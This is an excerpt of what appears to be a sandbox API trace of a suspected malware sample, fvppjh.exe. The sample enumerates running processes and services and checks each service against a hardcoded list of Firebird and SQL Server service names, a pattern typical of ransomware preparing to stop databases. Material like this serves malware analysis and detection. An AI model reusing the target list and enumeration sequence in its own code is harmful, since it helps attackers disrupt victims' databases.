	[0159.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0159.799] lstrlenW (lpString="SENS") returned 4
	[0159.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0159.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0159.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0159.799] lstrlenW (lpString="ShellHWDetection") returned 16
	[0159.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0159.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0159.799] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0159.799] lstrlenW (lpString="Spooler") returned 7
	[0159.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0159.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0159.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0159.799] lstrlenW (lpString="StateRepository") returned 15
	[0159.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0159.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0159.799] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0159.799] lstrlenW (lpString="SysMain") returned 7
	[0159.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0159.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0159.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0159.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0159.799] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0159.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0159.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0159.800] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0159.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0159.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0159.800] lstrlenW (lpString="Themes") returned 6
	[0159.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0159.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0159.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0159.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0159.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0159.800] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0159.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0159.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0159.800] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0159.800] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0159.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41bb020 | out: hHeap=0x5a0000) returned 1
	[0159.800] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b4
	[0160.842] Process32FirstW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0160.843] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0160.843] lstrlenW (lpString="System") returned 6
	[0160.843] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0160.844] lstrlenW (lpString="smss.exe") returned 8
	[0160.844] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0160.844] lstrlenW (lpString="csrss.exe") returned 9
	[0160.844] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0160.845] lstrlenW (lpString="wininit.exe") returned 11
	[0160.845] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0160.845] lstrlenW (lpString="csrss.exe") returned 9
	[0160.845] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0160.846] lstrlenW (lpString="winlogon.exe") returned 12
	[0160.846] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0160.846] lstrlenW (lpString="services.exe") returned 12
	[0160.846] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0160.847] lstrlenW (lpString="lsass.exe") returned 9
	[0160.847] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0160.847] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0160.847] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0160.847] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0160.848] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.848] lstrlenW (lpString="svchost.exe") returned 11
	[0160.848] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.853] lstrlenW (lpString="svchost.exe") returned 11
	[0160.853] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0160.858] lstrlenW (lpString="dwm.exe") returned 7
	[0160.858] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.861] lstrlenW (lpString="svchost.exe") returned 11
	[0160.861] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.863] lstrlenW (lpString="svchost.exe") returned 11
	[0160.863] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.870] lstrlenW (lpString="svchost.exe") returned 11
	[0160.870] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.873] lstrlenW (lpString="svchost.exe") returned 11
	[0160.873] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.873] lstrlenW (lpString="svchost.exe") returned 11
	[0160.873] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.874] lstrlenW (lpString="svchost.exe") returned 11
	[0160.874] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.874] lstrlenW (lpString="svchost.exe") returned 11
	[0160.874] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.875] lstrlenW (lpString="svchost.exe") returned 11
	[0160.875] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.875] lstrlenW (lpString="svchost.exe") returned 11
	[0160.875] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.876] lstrlenW (lpString="svchost.exe") returned 11
	[0160.876] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0160.876] lstrlenW (lpString="spoolsv.exe") returned 11
	[0160.876] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.877] lstrlenW (lpString="svchost.exe") returned 11
	[0160.877] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0160.877] lstrlenW (lpString="audiodg.exe") returned 11
	[0160.877] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0160.877] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0160.878] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0160.878] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0160.878] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0160.878] lstrlenW (lpString="Memory Compression") returned 18
	[0160.878] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0160.879] lstrlenW (lpString="sihost.exe") returned 10
	[0160.879] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.879] lstrlenW (lpString="svchost.exe") returned 11
	[0160.879] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0160.880] lstrlenW (lpString="taskhostw.exe") returned 13
	[0160.880] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0160.880] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0160.881] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0160.881] lstrlenW (lpString="taskhostw.exe") returned 13
	[0160.881] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0160.881] lstrlenW (lpString="explorer.exe") returned 12
	[0160.882] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0160.882] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0160.882] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0160.882] lstrlenW (lpString="SearchUI.exe") returned 12
	[0160.882] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0160.883] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0160.883] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0160.883] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0160.883] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.884] lstrlenW (lpString="svchost.exe") returned 11
	[0160.884] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0160.884] lstrlenW (lpString="fvppjh.exe") returned 10
	[0160.884] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0160.885] lstrlenW (lpString="cmd.exe") returned 7
	[0160.885] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0160.885] lstrlenW (lpString="conhost.exe") returned 11
	[0160.885] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0160.886] lstrlenW (lpString="mode.com") returned 8
	[0160.886] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0160.886] lstrlenW (lpString="fvppjh.exe") returned 10
	[0160.886] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 0
	[0160.887] CloseHandle (hObject=0x4b4) returned 1
	[0160.887] Sleep (dwMilliseconds=0x1f4) 
	[0161.532] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c07c8
	[0161.533] EnumServicesStatusExW (in: hSCManager=0x41c07c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0161.533] GetLastError () returned 0xea
	[0161.533] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x41de9e0
	[0161.533] EnumServicesStatusExW (in: hSCManager=0x41c07c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41de9e0, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41de9e0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0161.534] CloseServiceHandle (hSCObject=0x41c07c8) returned 1
	[0161.534] lstrlenW (lpString="AppXSvc") returned 7
	[0161.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.534] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0161.534] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0161.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0161.534] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0161.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.534] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0161.534] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0161.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0161.534] lstrlenW (lpString="Audiosrv") returned 8
	[0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0161.535] lstrlenW (lpString="BFE") returned 3
	[0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0161.535] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0161.535] lstrlenW (lpString="CDPSvc") returned 6
	[0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0161.535] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0161.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0161.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0161.535] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
